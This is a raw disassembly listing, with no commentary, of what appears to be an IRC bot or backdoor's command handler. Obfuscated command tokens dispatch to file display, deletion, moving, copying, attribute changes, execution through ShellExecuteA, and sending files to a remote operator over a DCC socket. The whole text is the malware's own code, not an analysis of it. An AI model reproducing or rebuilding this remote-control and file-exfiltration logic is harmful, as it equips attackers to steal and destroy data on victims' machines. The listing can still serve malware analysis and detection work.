cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40F171: ; CODE XREF: sub_40A938+4818j
push ebx
push offset aWhdag1glagf_ ; "WHdAg1glAgf."
jmp loc_40C7CB
; ---------------------------------------------------------------------------
loc_40F17C: ; CODE XREF: sub_40A938+4804j
push 2710h
lea eax, [ebp+var_3A760]
push 0
push eax
call sub_429690
mov edi, 104h
lea eax, [ebp+var_2A7C]
push edi
push 0
push eax
call sub_429690
push dword ptr [ebx+4]
lea eax, [ebp+var_2A7C]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 24h
push 2
pop eax
cmp [ebp+arg_4], eax
mov [ebp+arg_C], eax
jle short loc_40F203
loc_40F1C5: ; CODE XREF: sub_40A938+48C9j
mov eax, [ebp+arg_C]
mov eax, [ebx+eax*4]
test eax, eax
jz short loc_40F1F8
push eax
lea eax, [ebp+var_3A760]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_3A760]
push edi
push eax
lea eax, [ebp+var_2A7C]
push eax
call sub_429910
add esp, 18h
loc_40F1F8: ; CODE XREF: sub_40A938+4895j
inc [ebp+arg_C]
mov eax, [ebp+arg_C]
cmp eax, [ebp+arg_4]
jl short loc_40F1C5
loc_40F203: ; CODE XREF: sub_40A938+488Bj
lea eax, [ebp+var_2A7C]
push offset asc_440D78 ; "\n"
push eax
call dword_437090 ; lstrcatA
lea eax, [ebp+var_2A7C]
push eax
call sub_41E501
test eax, eax
pop ecx
jnz short loc_40F266
mov ebx, offset aSS_1 ; "%s %s"
mov edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
loc_40F230: ; CODE XREF: sub_40A938+4765j
cmp [ebp+arg_14], 0
jnz short loc_40F251
cmp [ebp+arg_18], 0
jnz short loc_40F25B
push edi
push offset aWhdag1glagf_ ; "WHdAg1glAgf."
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40F251: ; CODE XREF: sub_40A938+48FCj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40F25B: ; CODE XREF: sub_40A938+4902j
push edi
push offset aWhdag1glagf_ ; "WHdAg1glAgf."
jmp loc_40B035
; ---------------------------------------------------------------------------
loc_40F266: ; CODE XREF: sub_40A938+48ECj
cmp [ebp+arg_14], 0
mov ebx, offset aWhdag1glagf_ ; "WHdAg1glAgf."
mov edi, offset aSCommandsS_ ; "%s Commands: %s."
jnz short loc_40F293
cmp [ebp+arg_18], 0
jnz short loc_40F29D
lea eax, [ebp+var_2A7C]
push eax
push ebx
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40F293: ; CODE XREF: sub_40A938+493Cj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40F29D: ; CODE XREF: sub_40A938+4942j
lea eax, [ebp+var_2A7C]
push eax
push ebx
jmp loc_40C7CB
; ---------------------------------------------------------------------------
loc_40F2AA: ; CODE XREF: sub_40A938+47FBj
push dword ptr [ebx]
push offset a43ucs0rkqux_ ; "43uCS0rkQUx."
call edi ; dword_437174
test eax, eax
jnz short loc_40F2C3
push offset aWhdag1glagf_ ; "WHdAg1glAgf."
push 0Fh
jmp loc_412A63
; ---------------------------------------------------------------------------
loc_40F2C3: ; CODE XREF: sub_40A938+497Dj
push dword ptr [ebx]
push offset aJc8j0_blhir0 ; "jC8j0.blHIr0"
call edi ; dword_437174
test eax, eax
jnz loc_40FAD9
xor ecx, ecx
cmp [ebx+4], ecx
jz loc_40FABE
mov eax, [ebx+8]
cmp eax, ecx
jz loc_40FABE
push eax
lea eax, [ebp+var_418]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 0Ch
push 3
pop eax
cmp [ebp+arg_4], eax
mov [ebp+arg_C], eax
jle short loc_40F34C
loc_40F30A: ; CODE XREF: sub_40A938+4A12j
mov eax, [ebp+arg_C]
mov eax, [ebx+eax*4]
test eax, eax
jz short loc_40F341
push eax
lea eax, [ebp+var_63F70]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_63F70]
push 104h
push eax
lea eax, [ebp+var_418]
push eax
call sub_429910
add esp, 18h
loc_40F341: ; CODE XREF: sub_40A938+49DAj
inc [ebp+arg_C]
mov eax, [ebp+arg_C]
cmp eax, [ebp+arg_4]
jl short loc_40F30A
loc_40F34C: ; CODE XREF: sub_40A938+49D0j
push dword ptr [ebx+4]
push offset aPiygc_bgpyh_ ; "PIYGC.BgPyH."
call edi ; dword_437174
test eax, eax
jnz loc_40F510
push dword ptr [ebx+8]
lea eax, [ebp+var_2470]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 0Ch
push 3
pop edi
cmp [ebp+arg_4], edi
jle short loc_40F3B2
loc_40F37D: ; CODE XREF: sub_40A938+4A78j
mov eax, [ebx+edi*4]
test eax, eax
jz short loc_40F3AC
push eax
lea eax, [ebp+var_68D90]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_68D90]
push eax
lea eax, [ebp+var_2470]
push eax
call sub_42A510
add esp, 14h
loc_40F3AC: ; CODE XREF: sub_40A938+4A4Aj
inc edi
cmp edi, [ebp+arg_4]
jl short loc_40F37D
loc_40F3B2: ; CODE XREF: sub_40A938+4A43j
lea eax, [ebp+var_2470]
push offset word_43EF70
push eax
call sub_42A43C
pop ecx
mov [ebp+arg_C], eax
test eax, eax
pop ecx
mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
jz loc_40F4C1
cmp [ebp+arg_14], 0
mov ebx, offset aSDisplayingFil ; "%s Displaying file: %s"
jnz short loc_40F3FD
cmp [ebp+arg_18], 0
jnz short loc_40F403
lea eax, [ebp+var_2470]
push eax
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40F3FD: ; CODE XREF: sub_40A938+4AA6j
cmp [ebp+arg_18], 0
jz short loc_40F419
loc_40F403: ; CODE XREF: sub_40A938+4AACj
lea eax, [ebp+var_2470]
push eax
push edi
push ebx
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 14h
loc_40F419: ; CODE XREF: sub_40A938+4AC9j
mov ebx, 2710h
jmp short loc_40F446
; ---------------------------------------------------------------------------
loc_40F420: ; CODE XREF: sub_40A938+4B23j
cmp [ebp+arg_14], 0
jnz short loc_40F446
cmp [ebp+arg_18], 0
jnz short loc_40F446
lea eax, [ebp+var_491C0]
push eax
push offset aS_5 ; "%s"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_40F446: ; CODE XREF: sub_40A938+4AE6j
; sub_40A938+4AECj ...
push [ebp+arg_C]
lea eax, [ebp+var_491C0]
push ebx
push eax
call sub_42AFB7
add esp, 0Ch
test eax, eax
jnz short loc_40F420
cmp [ebp+arg_18], eax
jz short loc_40F47B
lea eax, [ebp+var_491C0]
push eax
push offset aS_5 ; "%s"
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 10h
loc_40F47B: ; CODE XREF: sub_40A938+4B28j
push [ebp+arg_C]
call sub_42A03B
cmp [ebp+arg_14], 0
pop ecx
mov ebx, offset aSFileDisplayed ; "%s File displayed: %s"
jnz short loc_40F4AC
cmp [ebp+arg_18], 0
jnz short loc_40F4B6
lea eax, [ebp+var_2470]
push eax
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40F4AC: ; CODE XREF: sub_40A938+4B55j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40F4B6: ; CODE XREF: sub_40A938+4B5Bj
lea eax, [ebp+var_2470]
jmp loc_40B033
; ---------------------------------------------------------------------------
loc_40F4C1: ; CODE XREF: sub_40A938+4A97j
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
jnz short loc_40F4F1
cmp [ebp+arg_18], 0
jnz short loc_40F4FB
call ebx ; dword_43716C
push eax
lea eax, [ebp+var_2470]
push eax
push edi
push offset aSFailedToReadF ; "%s Failed to read file: %s,error: <%d>"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40F4F1: ; CODE XREF: sub_40A938+4B93j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40F4FB: ; CODE XREF: sub_40A938+4B99j
call ebx ; dword_43716C
push eax
lea eax, [ebp+var_2470]
push eax
push edi
push offset aSFailedToReadF ; "%s Failed to read file: %s,error: <%d>"
jmp loc_414857
; ---------------------------------------------------------------------------
loc_40F510: ; CODE XREF: sub_40A938+4A20j
push dword ptr [ebx+4]
push offset a7bqzu_aqz2u_ ; "7bQzU.aQz2u."
call edi ; dword_437174
test eax, eax
jnz short loc_40F554
lea eax, [ebp+var_418]
push eax
call sub_4276F7
test eax, eax
pop ecx
jz short loc_40F545
lea eax, [ebp+var_418]
push eax
push offset aLmecq0ygcok ; "lmecq0yGcoK/"
push offset aSFileExistsS ; "%s File exists: %s"
jmp loc_40D132
; ---------------------------------------------------------------------------
loc_40F545: ; CODE XREF: sub_40A938+4BF5j
mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
mov ebx, offset aSFileDoesnTExi ; "%s File doesn't exist: %s"
jmp loc_40FA37
; ---------------------------------------------------------------------------
loc_40F554: ; CODE XREF: sub_40A938+4BE4j
push dword ptr [ebx+4]
push offset aSar5v0jloic0 ; "saR5v0JloIc0"
call edi ; dword_437174
test eax, eax
jnz short loc_40F5D1
lea eax, [ebp+var_418]
push eax
call dword_437060 ; DeleteFileA
test eax, eax
mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
jz short loc_40F582
mov ebx, offset aSFileDeletedS ; "%s File deleted: %s"
jmp loc_40FA37
; ---------------------------------------------------------------------------
loc_40F582: ; CODE XREF: sub_40A938+4C3Ej
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
jnz short loc_40F5B2
cmp [ebp+arg_18], 0
jnz short loc_40F5BC
call ebx ; dword_43716C
push eax
lea eax, [ebp+var_418]
push eax
push edi
push offset aSFailedToDelFi ; "%s Failed to del file: %s, error: <%d>"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40F5B2: ; CODE XREF: sub_40A938+4C54j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40F5BC: ; CODE XREF: sub_40A938+4C5Aj
call ebx ; dword_43716C
push eax
lea eax, [ebp+var_418]
push eax
push edi
push offset aSFailedToDelFi ; "%s Failed to del file: %s, error: <%d>"
jmp loc_414857
; ---------------------------------------------------------------------------
loc_40F5D1: ; CODE XREF: sub_40A938+4C28j
push dword ptr [ebx+4]
push offset aX43mxEgedu_ ; "x43Mx/eGeDu."
call edi ; dword_437174
test eax, eax
jnz short loc_40F64E
lea eax, [ebp+var_418]
push eax
call sub_4276F7
test eax, eax
pop ecx
jz short loc_40F63F
lea eax, [ebp+var_418]
push eax
call sub_42770C
test eax, eax
pop ecx
jz short loc_40F638
lea eax, [ebp+var_418]
push eax
call sub_428046
lea eax, [ebp+var_418]
push eax
call sub_4276F7
pop ecx
mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
test eax, eax
pop ecx
jnz short loc_40F62E
mov ebx, offset aSFolderDeleted ; "%s Folder deleted: %s"
jmp loc_40FA37
; ---------------------------------------------------------------------------
loc_40F62E: ; CODE XREF: sub_40A938+4CEAj
mov ebx, offset aSFailedToDelet ; "%s Failed to delete folder: %s"
jmp loc_40FA37
; ---------------------------------------------------------------------------
loc_40F638: ; CODE XREF: sub_40A938+4CC7j
mov ebx, offset aSSIsNotAFolder ; "%s %s is not a folder."
jmp short loc_40F644
; ---------------------------------------------------------------------------
loc_40F63F: ; CODE XREF: sub_40A938+4CB6j
mov ebx, offset aSSDoesnTExist_ ; "%s %s doesn't exist."
loc_40F644: ; CODE XREF: sub_40A938+4D05j
mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
jmp loc_40FA37
; ---------------------------------------------------------------------------
loc_40F64E: ; CODE XREF: sub_40A938+4CA5j
push dword ptr [ebx+4]
push offset aIsopf_pu4ty0 ; "IsoPF.PU4tY0"
call edi ; dword_437174
test eax, eax
jnz loc_40F7BE
cmp [ebx+0Ch], eax
jz loc_40F7D5
push dword ptr [ebx+8]
lea eax, [ebp+var_418]
push eax
call sub_429A33
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_236C]
push eax
call sub_429A33
xor edi, edi
add esp, 10h
cmp [ebp+arg_34], edi
jz short loc_40F700
cmp [ebp+arg_38], 0
mov bl, 5Fh
jz short loc_40F69C
mov bl, [ebp+arg_38]
loc_40F69C: ; CODE XREF: sub_40A938+4D5Fj
lea eax, [ebp+var_418]
push eax
call sub_4292D0
test eax, eax
pop ecx
jbe short loc_40F6CD
loc_40F6AD: ; CODE XREF: sub_40A938+4D93j
lea eax, [ebp+edi+var_418]
cmp [eax], bl
jnz short loc_40F6BB
mov byte ptr [eax], 20h
loc_40F6BB: ; CODE XREF: sub_40A938+4D7Ej
lea eax, [ebp+var_418]
inc edi
push eax
call sub_4292D0
cmp edi, eax
pop ecx
jb short loc_40F6AD
loc_40F6CD: ; CODE XREF: sub_40A938+4D73j
lea eax, [ebp+var_236C]
xor edi, edi
push eax
call sub_4292D0
test eax, eax
pop ecx
jbe short loc_40F700
loc_40F6E0: ; CODE XREF: sub_40A938+4DC6j
lea eax, [ebp+edi+var_236C]
cmp [eax], bl
jnz short loc_40F6EE
mov byte ptr [eax], 20h
loc_40F6EE: ; CODE XREF: sub_40A938+4DB1j
lea eax, [ebp+var_236C]
inc edi
push eax
call sub_4292D0
cmp edi, eax
pop ecx
jb short loc_40F6E0
loc_40F700: ; CODE XREF: sub_40A938+4D57j
; sub_40A938+4DA6j
lea eax, [ebp+var_236C]
push eax
lea eax, [ebp+var_418]
push eax
call dword_4370B4 ; MoveFileA
test eax, eax
mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
jz short loc_40F761
cmp [ebp+arg_14], 0
mov ebx, offset aSMovedSToS ; "%s Moved: \"%s\" to: \"%s\""
jnz short loc_40F74C
cmp [ebp+arg_18], 0
jnz short loc_40F756
lea eax, [ebp+var_236C]
push eax
lea eax, [ebp+var_418]
push eax
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40F74C: ; CODE XREF: sub_40A938+4DEEj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40F756: ; CODE XREF: sub_40A938+4DF4j
lea eax, [ebp+var_236C]
jmp loc_40F8EC
; ---------------------------------------------------------------------------
loc_40F761: ; CODE XREF: sub_40A938+4DE3j
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
jnz short loc_40F798
cmp [ebp+arg_18], 0
jnz short loc_40F7A2
call ebx ; dword_43716C
push eax
lea eax, [ebp+var_236C]
push eax
lea eax, [ebp+var_418]
push eax
push edi
push offset aSFailedToMoveS ; "%s Failed to move: \"%s\" to: \"%s\", error"...
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_40F798: ; CODE XREF: sub_40A938+4E33j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40F7A2: ; CODE XREF: sub_40A938+4E39j
call ebx ; dword_43716C
push eax
lea eax, [ebp+var_236C]
push eax
lea eax, [ebp+var_418]
push eax
push edi
push offset aSFailedToMoveS ; "%s Failed to move: \"%s\" to: \"%s\", error"...
jmp loc_4148C2
; ---------------------------------------------------------------------------
loc_40F7BE: ; CODE XREF: sub_40A938+4D22j
push dword ptr [ebx+4]
push offset a98mu_Nedn7_ ; "98mu./nEdn7."
call edi ; dword_437174
test eax, eax
jnz loc_40F956
cmp [ebx+0Ch], eax
jnz short loc_40F7F0
loc_40F7D5: ; CODE XREF: sub_40A938+4D2Bj
mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
loc_40F7DA: ; CODE XREF: sub_40A938+4678j
cmp [ebp+arg_14], eax
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz loc_40D1F7
cmp [ebp+arg_18], eax
jmp loc_40D1E5
; ---------------------------------------------------------------------------
loc_40F7F0: ; CODE XREF: sub_40A938+4E9Bj
push dword ptr [ebx+8]
lea eax, [ebp+var_418]
push eax
call sub_429A33
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_2574]
push eax
call sub_429A33
xor edi, edi
add esp, 10h
cmp [ebp+arg_34], edi
jz short loc_40F887
cmp [ebp+arg_38], 0
mov bl, 5Fh
jz short loc_40F823
mov bl, [ebp+arg_38]
loc_40F823: ; CODE XREF: sub_40A938+4EE6j
lea eax, [ebp+var_418]
push eax
call sub_4292D0
test eax, eax
pop ecx
jbe short loc_40F854
loc_40F834: ; CODE XREF: sub_40A938+4F1Aj
lea eax, [ebp+edi+var_418]
cmp [eax], bl
jnz short loc_40F842
mov byte ptr [eax], 20h
loc_40F842: ; CODE XREF: sub_40A938+4F05j
lea eax, [ebp+var_418]
inc edi
push eax
call sub_4292D0
cmp edi, eax
pop ecx
jb short loc_40F834
loc_40F854: ; CODE XREF: sub_40A938+4EFAj
lea eax, [ebp+var_2574]
xor edi, edi
push eax
call sub_4292D0
test eax, eax
pop ecx
jbe short loc_40F887
loc_40F867: ; CODE XREF: sub_40A938+4F4Dj
lea eax, [ebp+edi+var_2574]
cmp [eax], bl
jnz short loc_40F875
mov byte ptr [eax], 20h
loc_40F875: ; CODE XREF: sub_40A938+4F38j
lea eax, [ebp+var_2574]
inc edi
push eax
call sub_4292D0
cmp edi, eax
pop ecx
jb short loc_40F867
loc_40F887: ; CODE XREF: sub_40A938+4EDEj
; sub_40A938+4F2Dj
xor eax, eax
cmp [ebp+arg_40], eax
setz al
push eax
lea eax, [ebp+var_2574]
push eax
lea eax, [ebp+var_418]
push eax
call dword_437064 ; CopyFileA
test eax, eax
mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
jz short loc_40F8F9
cmp [ebp+arg_14], 0
mov ebx, offset aSCopiedSToS ; "%s Copied: \"%s\" to \"%s\""
jnz short loc_40F8DC
cmp [ebp+arg_18], 0
jnz short loc_40F8E6
lea eax, [ebp+var_2574]
push eax
lea eax, [ebp+var_418]
push eax
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40F8DC: ; CODE XREF: sub_40A938+4F7Ej
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40F8E6: ; CODE XREF: sub_40A938+4F84j
lea eax, [ebp+var_2574]
loc_40F8EC: ; CODE XREF: sub_40A938+4E24j
push eax
lea eax, [ebp+var_418]
push eax
jmp loc_40B637
; ---------------------------------------------------------------------------
loc_40F8F9: ; CODE XREF: sub_40A938+4F73j
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
jnz short loc_40F930
cmp [ebp+arg_18], 0
jnz short loc_40F93A
call ebx ; dword_43716C
push eax
lea eax, [ebp+var_2574]
push eax
lea eax, [ebp+var_418]
push eax
push edi
push offset aSFailedToCopyS ; "%s Failed to copy: \"%s\" to \"%s\",error: "...
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_40F930: ; CODE XREF: sub_40A938+4FCBj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40F93A: ; CODE XREF: sub_40A938+4FD1j
call ebx ; dword_43716C
push eax
lea eax, [ebp+var_2574]
push eax
lea eax, [ebp+var_418]
push eax
push edi
push offset aSFailedToCopyS ; "%s Failed to copy: \"%s\" to \"%s\",error: "...
jmp loc_4148C2
; ---------------------------------------------------------------------------
loc_40F956: ; CODE XREF: sub_40A938+4E92j
push dword ptr [ebx+4]
push offset aVdirq_mjcpx1 ; "vDIrQ.MJcpx1"
call edi ; dword_437174
test eax, eax
jnz loc_40FA01
cmp [ebp+arg_44], eax
jz short loc_40F971
or [ebp+arg_C], 4
loc_40F971: ; CODE XREF: sub_40A938+5033j
cmp [ebp+arg_48], eax
jz short loc_40F97A
or [ebp+arg_C], 2
loc_40F97A: ; CODE XREF: sub_40A938+503Cj
cmp [ebp+arg_4C], eax
jz short loc_40F983
or [ebp+arg_C], 1
loc_40F983: ; CODE XREF: sub_40A938+5045j
cmp [ebp+arg_50], eax
jz short loc_40F98F
mov [ebp+arg_C], 80h
loc_40F98F: ; CODE XREF: sub_40A938+504Ej
push [ebp+arg_C]
lea eax, [ebp+var_418]
push eax
call dword_437068 ; SetFileAttributesA
test eax, eax
mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
jz short loc_40F9B2
mov ebx, offset aSAttributesSet ; "%s Attributes Set to: \"%s\"."
jmp loc_40FA37
; ---------------------------------------------------------------------------
loc_40F9B2: ; CODE XREF: sub_40A938+506Ej
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
jnz short loc_40F9E2
cmp [ebp+arg_18], 0
jnz short loc_40F9EC
call ebx ; dword_43716C
push eax
lea eax, [ebp+var_418]
push eax
push edi
push offset aSFailedToSetAt ; "%s Failed to set Attributes to: \"%s\",er"...
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40F9E2: ; CODE XREF: sub_40A938+5084j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40F9EC: ; CODE XREF: sub_40A938+508Aj
call ebx ; dword_43716C
push eax
lea eax, [ebp+var_418]
push eax
push edi
push offset aSFailedToSetAt ; "%s Failed to set Attributes to: \"%s\",er"...
jmp loc_414857
; ---------------------------------------------------------------------------
loc_40FA01: ; CODE XREF: sub_40A938+502Aj
push dword ptr [ebx+4]
push offset aSad25HpR91 ; "Sad25/hP/R91"
call edi ; dword_437174
test eax, eax
jnz loc_4148CF
push eax
push eax
lea ecx, [ebp+var_418]
push eax
push ecx
push offset aOpen ; "open"
push eax
call dword_456E54 ; ShellExecuteA
test eax, eax
mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
jz short loc_40FA6F
mov ebx, offset aSOpenedS_ ; "%s Opened: \"%s\"."
loc_40FA37: ; CODE XREF: sub_40A938+4C17j
; sub_40A938+4C45j ...
cmp [ebp+arg_14], 0
jnz short loc_40FA5A
cmp [ebp+arg_18], 0
jnz short loc_40FA64
lea eax, [ebp+var_418]
push eax
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40FA5A: ; CODE XREF: sub_40A938+5103j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40FA64: ; CODE XREF: sub_40A938+5109j
lea eax, [ebp+var_418]
jmp loc_40B033
; ---------------------------------------------------------------------------
loc_40FA6F: ; CODE XREF: sub_40A938+50F8j
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
jnz short loc_40FA9F
cmp [ebp+arg_18], 0
jnz short loc_40FAA9
call ebx ; dword_43716C
push eax
lea eax, [ebp+var_418]
push eax
push edi
push offset aSFailedToOpenS ; "%s Failed to open: \"%s\",error: <%d>"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40FA9F: ; CODE XREF: sub_40A938+5141j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40FAA9: ; CODE XREF: sub_40A938+5147j
call ebx ; dword_43716C
push eax
lea eax, [ebp+var_418]
push eax
push edi
push offset aSFailedToOpenS ; "%s Failed to open: \"%s\",error: <%d>"
jmp loc_414857
; ---------------------------------------------------------------------------
loc_40FABE: ; CODE XREF: sub_40A938+49A1j
; sub_40A938+49ACj
cmp [ebp+arg_14], ecx
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
jnz loc_40D1F7
cmp [ebp+arg_18], ecx
jmp loc_40D1E5
; ---------------------------------------------------------------------------
loc_40FAD9: ; CODE XREF: sub_40A938+4996j
push dword ptr [ebx]
push offset aHpmch0pbq800 ; "HPmCH0PbQ800"
call edi ; dword_437174
test eax, eax
jnz loc_40FECA
xor edi, edi
cmp [ebx+4], edi
jnz short loc_40FB2D
cmp [ebp+arg_14], edi
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz short loc_40FB19
cmp [ebp+arg_18], edi
jnz short loc_40FB22
push ebx
push offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
push offset aSS_1 ; "%s %s"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40FB19: ; CODE XREF: sub_40A938+51C1j
cmp [ebp+arg_18], edi
jz loc_4148CF
loc_40FB22: ; CODE XREF: sub_40A938+51C6j
push ebx
push offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
jmp loc_4146C6
; ---------------------------------------------------------------------------
loc_40FB2D: ; CODE XREF: sub_40A938+51B7j
mov eax, [ebp+arg_10]
mov ecx, [ebp+arg_14]
mov [ebp+var_21C0], eax
mov eax, [ebp+arg_18]
mov [ebp+var_1F98], eax
cmp eax, edi
mov [ebp+var_1F94], ecx
lea eax, [ebp+var_21B8]
jnz short loc_40FB57
push dword ptr [esi+0Ch]
jmp short loc_40FB59
; ---------------------------------------------------------------------------
loc_40FB57: ; CODE XREF: sub_40A938+5218j
push dword ptr [esi]
loc_40FB59: ; CODE XREF: sub_40A938+521Dj
push eax
call dword_4370A4 ; lstrcpyA
push 80h
lea eax, [ebp+var_2020]
push dword ptr [esi]
push eax
call sub_429C40
push dword ptr [ebx+4]
lea eax, [ebp+var_2124]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 18h
lea eax, [ebp+var_2124]
mov [ebp+var_48], edi
mov [ebp+arg_8], edi
push edi
push edi
push 3
push edi
push 1
push 80000000h
push eax
call dword_43705C ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+arg_68], eax
jnz short loc_40FBCF
push offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
lea eax, [ebp+var_21B8]
push offset aSNoFile ; "%s No file"
push eax
push [ebp+arg_10]
call sub_41CD84
jmp loc_40B9A4
; ---------------------------------------------------------------------------
loc_40FBCF: ; CODE XREF: sub_40A938+5277j
push edi
push [ebp+arg_68]
call dword_4370B0 ; GetFileSize
push edi
push 1
push 2
mov ebx, eax
call dword_4372B8
cmp eax, 0FFFFFFFFh
mov [ebp+arg_C], eax
jnz short loc_40FC1B
loc_40FBEE: ; CODE XREF: sub_40A938+537Ej
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
push offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
push offset aSSD ; "%s %s <%d>"
loc_40FC04: ; CODE XREF: sub_40A938+534Ej
lea eax, [ebp+var_21B8]
push eax
push [ebp+arg_10]
call sub_41CD84
loc_40FC13: ; CODE XREF: sub_40A938+68FAj
add esp, 18h
jmp loc_412F27
; ---------------------------------------------------------------------------
loc_40FC1B: ; CODE XREF: sub_40A938+52B4j
push 10h
lea eax, [ebp+var_90]
push edi
push eax
call sub_429690
mov esi, 400h
push 0FA00h
push esi
mov [ebp+var_90], 2
call sub_41E34F
add esp, 14h
push eax
call dword_4372C0
mov word ptr [ebp+var_8E], ax
lea eax, [ebp+var_90]
push 10h
push eax
push [ebp+arg_C]
mov [ebp+var_8E+2], edi
call dword_437294
test eax, eax
jz short loc_40FC8B
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
push offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
push offset aSBindSD ; "%s Bind %s <%d>"
jmp loc_40FC04
; ---------------------------------------------------------------------------
loc_40FC8B: ; CODE XREF: sub_40A938+5336j
push 10h
pop eax
mov [ebp+var_70], eax
mov [ebp+var_50], eax
lea eax, [ebp+var_50]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+arg_C]
call dword_437298
push 1
push [ebp+arg_C]
call dword_43729C
cmp eax, 0FFFFFFFFh
jz loc_40FBEE
push offset dword_457CD8
call dword_4372A0
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_44]
push eax
call sub_429350
lea eax, [ebp+var_2124]
push eax
lea eax, [ebp+var_2020]
push offset aSendingYouS ; "Sending you %s"
push eax
push [ebp+arg_10]
call sub_41CD0E
lea eax, [ebp+var_2124]
push offset dword_457CD8
push eax
lea eax, [ebp+var_2020]
push offset aDccSendSS ; "DCC Send %s (%s)"
push eax
push [ebp+arg_10]
call sub_41CD0E
add esp, 30h
push ebx
push [ebp+var_8E]
call dword_4372A4
movzx eax, ax
push eax
push [ebp+var_44]
call dword_4372EC
push eax
lea eax, [ebp+var_2124]
push eax
lea eax, [ebp+var_2020]
push offset aSDDI ; "%s %d %d %i"
push eax
push [ebp+arg_10]
call sub_41CDFA
mov eax, [ebp+arg_C]
add esp, 1Ch
mov [ebp+var_5BBC], eax
lea eax, [ebp+var_98]
push eax
push edi
lea eax, [ebp+var_5BC0]
push edi
push eax
push edi
mov [ebp+var_98], 2Dh
mov [ebp+var_94], edi
mov [ebp+var_5BC0], 1
call dword_4372AC
test eax, eax
jg short loc_40FDC7
push offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
lea eax, [ebp+var_21B8]
push offset aSTimedOutClosi ; "%s Timed Out, closing connection."
push eax
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
push [ebp+arg_68]
call dword_437044 ; CloseHandle
push [ebp+arg_C]
mov esi, dword_4372D4
call esi ; dword_4372D4
push edi
call esi ; dword_4372D4
jmp loc_412F27
